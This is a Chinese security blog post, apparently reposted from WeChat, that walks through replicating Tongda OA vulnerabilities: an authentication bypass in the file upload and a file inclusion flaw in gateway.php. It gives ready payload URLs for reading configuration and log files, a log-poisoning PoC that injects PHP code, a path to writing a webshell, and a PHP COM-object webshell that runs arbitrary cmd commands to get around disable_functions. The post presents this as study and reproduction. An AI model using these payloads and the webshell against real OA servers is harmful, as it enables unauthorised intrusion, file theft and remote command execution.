-->

通达OA漏洞学习

2021-02-20 08:19发布


说明

通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。


文件包含测试

文件包含检测,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log
利用文件包含访问OA日志

复现

源码下载

链接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg 提取码:vab0

是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密

用notepad打开显示,zend加密,

php在线解密网站:http://dezend.qiling.org/free.html

 解密出源代码。


文件上传

ispirit/im/upload.php

要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。

经过下载源码测试,上传后的文件在 MYOA/attach/im/2003/目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。

文件包含

与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。

POC

poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。

/ispirit/interface/gateway.php?json={}&a=<?php file_put_contents('1.php','hello123');?>
先在浏览器访问,

发现"<"被浏览器url编码了

用burp重新发包。

成功写入日志。(写日志的方式省去了上传)

文件包含

如果php poc 为 <?php file_put_contents('1.php','hello123');?>

则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>,则上传到 上一级目录 ispirit 目录下。注意路径

exp

通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在 MYOA/attach/im/2003/目录下。

思路一

上传一个写shell的php文件,在利用文件包含写shell。

具体见exp.py。

思路二

执行cmd,

MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。

disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

参考

使用com组件绕过disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html

eg:

<?php$command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

这里写的exp总是将post数据自动url编码。达不到burp的效果。


需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。

版本路径

不同环境路径不同。

例如2013/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017/ispirit/im/upload.php/mac/gateway.php

后记

一些趣事,正常该用post包含的。

get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。

注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。

空两行试试

发包,Content-Length都有了,可真牛啊。

wireshark抓个包,get没请求体呀。见strange-get-include.pcap


往期精彩


登陆页面的检测及渗透

渗透实战篇(一)

渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


感兴趣的可以点个关注!!!

关注「安全先师」
把握前沿安全脉搏



本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

标签: